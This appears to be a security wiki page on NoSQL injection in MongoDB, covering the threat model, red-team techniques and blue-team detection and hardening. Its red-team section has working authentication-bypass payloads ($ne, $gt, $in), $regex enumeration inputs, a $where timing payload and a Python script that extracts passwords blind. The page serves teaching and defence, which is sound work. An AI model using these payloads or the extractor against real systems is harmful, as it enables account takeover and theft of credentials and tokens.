NoSQL injection
NoSQL databases (MongoDB, CouchDB, Redis, Elasticsearch…) don’t use SQL, but they are
injectable. The difference from SQLi is what you manipulate: in SQL you
manipulate text (quotes, UNION, ;); in MongoDB you manipulate the structure of the
query object, turning a value into an operator. If the backend runs
db.users.findOne({user: req.body.user, pass: req.body.pass}) and receives {"$ne": null}
instead of a string, the condition “password equals X” becomes “password is not null”. The
invariant it breaks is “user input is data, not part of the query’s structure”.
flowchart LR
A[Attacker] -->|"pass[$ne]=x"| P["Framework parser<br/>(qs, PHP)"]
P -->|"{pass: {$ne: 'x'}}"| APP["App (doesn't cast to string)"]
APP -->|"findOne with operator"| DB[(MongoDB)]
DB -->|"matches any pass ≠ 'x'"| APP
APP -->|"admin session"| A
Threat model
Section titled “Threat model”- Authentication bypass: log in as any user, or as a specific one.
- Enumeration: users, field names and lengths.
- Blind extraction: passwords, reset tokens or hashes, one character at a time.
- Server-side JavaScript (
$where,mapReduce,$function): change the query, extract data by timing or cause DoS. It runs in MongoDB’s JS engine with no access to the operating system: on its own it isn’t RCE. - Chaining: an extracted reset token gives you an admin account takeover, and from the admin panel you may reach code execution (that’s what happened with Rocket.Chat, see CVEs).
Anatomy
Section titled “Anatomy”The root cause is almost always the same: the framework’s parser turns input into an object and the application passes it to the query without checking its type.
| Input | What reaches the code | Why |
|---|---|---|
JSON {"pass":{"$ne":null}} |
{pass: {$ne: null}} |
Any API that accepts JSON |
Form pass[$ne]=x in PHP |
['pass' => ['$ne' => 'x']] |
PHP turns brackets into arrays |
Form pass[$ne]=x in Express with qs |
{pass: {$ne: 'x'}} |
qs (extended parser) builds nested objects |
user[$in][]=a&user[$in][]=b with qs |
{user: {$in: ['a','b']}} |
Empty brackets build arrays |
Two details that change the outcome:
- In
application/x-www-form-urlencodedeverything is a string:pass[$ne]=nullsends the string"null", not a realnull. For the bypass it doesn’t matter (the password isn’t"null"), but it does when you need a specific type (numbers for$gt, booleans for$exists): use JSON there. - Express 5 changed the defaults: the query parser is now simple and
express.urlencoded()hasextended: false, so brackets no longer build objects unless the application enablesextended: true. A JSON body still delivers objects. If brackets don’t work, try JSON, and vice versa.
The NoSQL ecosystem
Section titled “The NoSQL ecosystem”NoSQL is a family, not a language: the injection changes with the engine.
| Engine | Type | Typical injection |
|---|---|---|
| MongoDB | Document | Operators ($ne, $gt, $regex, $where) via JSON or brackets |
| CouchDB | Document | Mango queries similar to MongoDB; historically, admin escalation and execution through _config (CVE-2017-12635 and CVE-2017-12636) |
| Redis | Key-value | More command injection than query injection: CRLF in the protocol, EVAL with Lua |
| Elasticsearch | Document | Query DSL or Lucene syntax in free-text search; RCE through scripting in old versions (CVE-2014-3120, CVE-2015-1427) |
| Cassandra (CQL) | Wide-column | Similar to classic SQLi when CQL is concatenated |
| Neo4j (Cypher) | Graph | Cypher injection when concatenated; LOAD CSV can make outbound requests |
| Firebase / Firestore | Document | Not injectable: the typical flaw is permissive security rules |
The rest of this page focuses on MongoDB, which is where it shows up almost every time.
Useful operators
Section titled “Useful operators”| Operator | Offensive use |
|---|---|
$ne |
Bypass: {"$ne": null} or {"$ne": ""} |
$gt / $lt |
Bypass by comparison: {"$gt": ""} |
$in / $nin |
Try a list of likely usernames in one go |
$regex |
Enumerate users and extract values character by character |
$exists |
Check whether a field exists (resetToken, isAdmin, apiKey) |
$or / $and |
If you control the whole filter |
$where |
JavaScript evaluated per document on the MongoDB server |
Variants
Section titled “Variants”- Operator injection into a field’s value: the most common.
- Whole-filter injection: the app runs
find(req.body)and you can add new keys, including$whereor$or. - Boolean blind extraction with
$regexor time-based with$where. - Injection into JavaScript strings: the app builds the
$wherecode by hand with your input ("this.user == '" + user + "'"); you exploit it by closing quotes, as in SQLi.
Red Team
Section titled “Red Team”Detection
Section titled “Detection”Send an object where a string is expected and compare a true condition with a false one:
POST /login HTTP/1.1Content-Type: application/x-www-form-urlencoded
user=admin&pass[$ne]=xPOST /login HTTP/1.1Content-Type: application/x-www-form-urlencoded
user=admin&pass[$eq]=xIf the first one responds differently (status, length, redirect, message), the operator reaches the query. A type error or a 500 when you send an object is also a hint.
Authentication bypass
Section titled “Authentication bypass”In JSON:
{"user":"admin","pass":{"$ne":null}}{"user":{"$gt":""},"pass":{"$gt":""}}{"user":{"$in":["admin","administrator","root"]},"pass":{"$ne":""}}In a form:
POST /login HTTP/1.1Content-Type: application/x-www-form-urlencoded
user=admin&pass[$ne]=xWith {"user":{"$gt":""}} you log in as the first user the query returns, which isn’t
necessarily the admin. Pin the username or use $in / $regex ({"$regex":"^adm"}) to pick
it. If the application compares the password hash in code rather than in the query, an operator
in pass isn’t enough: the bypass only works when the check happens inside the filter.
Enumeration
Section titled “Enumeration”user[$regex]=^adm&pass[$ne]=x # is there a user starting with "adm"?user=admin&pass[$regex]=^.{8}$ # is the password 8 characters long?user=admin&resetToken[$exists]=true # (in JSON) does the field exist?Use JSON for $exists ({"resetToken":{"$exists":true}}): in a form, true arrives as the
string "true".
Blind extraction with $regex
Section titled “Blind extraction with $regex”Length first with ^.{N}$; then each character by pinning the prefix:
^a → no, ^s → yes, ^se → yes…
import re, requests, string
URL, OK = "https://app.tld/login", "Welcome" # oracle: text of the true responsecharset = string.ascii_letters + string.digits + string.punctuation
def matches(pattern): body = {"user": "admin", "pass": {"$regex": pattern}} return OK in requests.post(URL, json=body, allow_redirects=False).text
found = ""while not matches(f"^{re.escape(found)}$"): for ch in charset: if matches(f"^{re.escape(found + ch)}"): found += ch; print(found); break else: break # no character matches: check the charsetprint("value:", found)- Escape metacharacters (
. * + ? ^ $ ( ) [ ] { } | \): an unescaped.matches any character and gives you a false positive. Python’sre.escapeproduces escapes that MongoDB’s regex engine (PCRE) accepts. - It comes out in clear text if that’s how it’s stored; if the application stores hashes, you get the hash.
- The same method works for reset tokens, API keys or any field you can filter on.
JavaScript with $where
Section titled “JavaScript with $where”If you can add keys to the filter or the app uses $where, first confirm it’s evaluated by
comparing a response with "$where":"0" against one with "$where":"1". Then:
{"user":"admin","$where":"this.pass.length == 8"}{"user":"admin","$where":"function() { if (this.pass[0] == 's') { sleep(3000) } return true }"}The second one gives you time-based extraction when the page doesn’t change. Measure several
times: $where is evaluated per document, so the delay multiplies by every document that
reaches that stage of the query.
Limits of an injection
Section titled “Limits of an injection”A find() on one collection can’t read another. From the orders endpoint you won’t reach
users unless there’s another endpoint that queries that collection, an aggregation with
$lookup you can inject into, or server-side JavaScript. First look for which endpoint
queries the collection you care about.
Researcher workflow
Section titled “Researcher workflow”- Find inputs that end up in a query: login, search, filters, password recovery, APIs that accept JSON.
- Send an object with an operator where a string is expected; try JSON and brackets.
- Compare true and false to get an oracle.
- Bypass if it’s a login; otherwise enumerate with
$regexand$exists. - Extract with
$regex(boolean) or$where(time, if JS is enabled). - Work out what to do with what you extracted: reset token, hash, API key.
- Burp Repeater to change types by hand; Intruder to iterate characters.
- Python +
requestsfor your own extractors. nosqliand NoSQLMap to automate detection and extraction.
Impact and chaining
Section titled “Impact and chaining”Account takeover through login bypass, credential and token dumps through blind extraction, DoS
with an expensive $where and, chained with the application’s admin features, code execution.
It shares a root cause with mass assignment: in both cases the app
accepts structure from the user without filtering it.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Parameters with keys starting with
$or with unexpected types (object or array where a string is expected). - Bursts of near-identical requests to the login or password recovery that only change a
$regexprefix. $whereor JavaScript in MongoDB’s profiler, and deprecation warnings in the server logs.- Repeated latency anomalies on authentication endpoints.
Telemetry and sources
Section titled “Telemetry and sources”MongoDB profiler and logs, application logs with the query shape (not the sensitive values), a WAF that inspects JSON and bracketed parameters.
Hardening
Section titled “Hardening”- Validate and cast types at the input:
String(req.body.user), schemas (Joi, Zod) or an ODM with Mongoose’ssanitizeFilteroption, which wraps objects with$keys in$eq. - Don’t pass user objects into the query; build the filter field by field.
- Strip keys starting with
$(express-mongo-sanitizeor similar) as an extra layer, not the only one. - Disable server-side JavaScript (
security.javascriptEnabled: false) if you don’t use it. - Compare passwords in code against a hash, not inside the query filter.
- Rate-limit login and password recovery.
Response
Section titled “Response”Invalidate sessions and reset tokens, rotate credentials if there was extraction, fix the type handling and add operator detection at the input layer.
CVEs and real cases
Section titled “CVEs and real cases”- CVE-2021-22911 (Rocket.Chat 3.11–3.13, 2021): unauthenticated blind NoSQLi that leaked a user’s password reset token; chained with a second NoSQLi and admin features, it led to code execution.
- CVE-2017-12635 and CVE-2017-12636 (Apache CouchDB): admin escalation through JSON parser differences and command execution through the configuration.
- The
{"$ne":null}bypass is a classic pattern in Node apps on MongoDB and shows up often in bug bounty programs.
Product-specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Operator objects tried in JSON and in brackets.
- True/false oracle identified.
- Login bypass with
$ne/$gt/$in, choosing the user. - Enumeration with
$regexand$exists; length with^.{N}$. - Extraction with escaped metacharacters.
-
$wheretested ("0"versus"1") and, if it works, time-based extraction. - Checked which collections each endpoint reaches.
- Impact documented without dumping real data.